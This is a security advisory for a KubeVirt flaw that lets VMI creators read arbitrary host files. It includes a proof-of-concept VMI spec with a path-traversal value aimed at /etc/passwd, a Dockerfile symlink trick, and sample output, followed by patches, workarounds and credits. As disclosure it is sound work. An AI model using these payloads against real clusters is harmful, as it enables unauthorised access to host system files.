KubeVirt vulnerable to arbitrary file read on host

Impact

Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:

1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: spec.domain.firmware.kernelBoot.container.kernelPath, spec.domain.firmware.kernelBoot.container.initrdPath as well as spec.volumes[*].containerDisk.path.

Example:

apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
    name: containerdisk
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk

2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:

FROM <anybase>
RUN mkdir -p /etc/ && touch /etc/passwd
RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img

3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.

In all three cases it is then possible to at lest read any host file:

$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]

Patches

KubeVirt 0.55.1 provides patches to fix the vulnerability.

Workarounds

• Ensure that the HotplugVolumes feature-gate is disabled
• ContainerDisk support can’t be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that spec.domain.firmware.kernelBoot is not used on VirtualMachineInstances.|
• Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).

References

Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm

For more information

For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:

• https://github.com/kubevirt/kubevirt/pull/8198
• https://github.com/kubevirt/kubevirt/pull/8268

Credits

Oliver Brooks and James Klopchic of NCC Group
Diane Dubois and Roman Mohr of Google